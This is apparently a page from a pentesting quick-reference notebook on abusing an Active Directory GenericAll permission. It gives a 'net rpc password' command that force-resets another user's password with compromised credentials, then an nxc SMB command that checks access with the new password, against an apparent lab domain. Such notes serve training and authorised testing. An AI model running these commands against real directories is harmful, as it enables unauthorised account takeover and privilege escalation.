> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/access-control-list-acl-abuse-primer/abusing-acl-generic-all.md).

# Abusing ACL - Generic All

We have a user that has generic all permission over another user

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FAYBegcjj6nTZQy64TUau%2Fimage.png?alt=media&amp;token=23a01336-13a7-4f34-8c41-b4dac154551a" alt=""><figcaption></figcaption></figure>

We can force change the password and we have the command in the linux itself

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FW6gBkCOEPwjgtVRoMYm5%2Fimage.png?alt=media&amp;token=6a583fee-43a4-4841-ba1f-597db01486a4" alt=""><figcaption></figcaption></figure>

```
net rpc password "backup_svc" 'HackSmarter123!' -U 'hacksmarter.hsm'/"pentest"%'HackSmarter123!' -S "dc01.hacksmarter.hsm"
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDe0OPPf792pbWK9jb3w4%2Fimage.png?alt=media&amp;token=4a6ab111-7a4b-412c-bc02-c62498236f98" alt=""><figcaption></figcaption></figure>

Now check if worked or not

```
nxc smb dc01.hacksmarter.hsm -u 'backup_svc' -p 'HackSmarter123!' --shares
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FOAFCBPVjNmH0YfXfXMnR%2Fimage.png?alt=media&amp;token=e64f8fa1-bc4e-43bf-8c6f-5bf5756e640f" alt=""><figcaption></figcaption></figure>

It works and our compromized user has additional permissions

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F4r5lBNjLX81dtRh3R2Iu%2Fimage.png?alt=media&amp;token=5cf16c89-4f10-4b0b-9cc0-187d1c7f7167" alt=""><figcaption></figcaption></figure>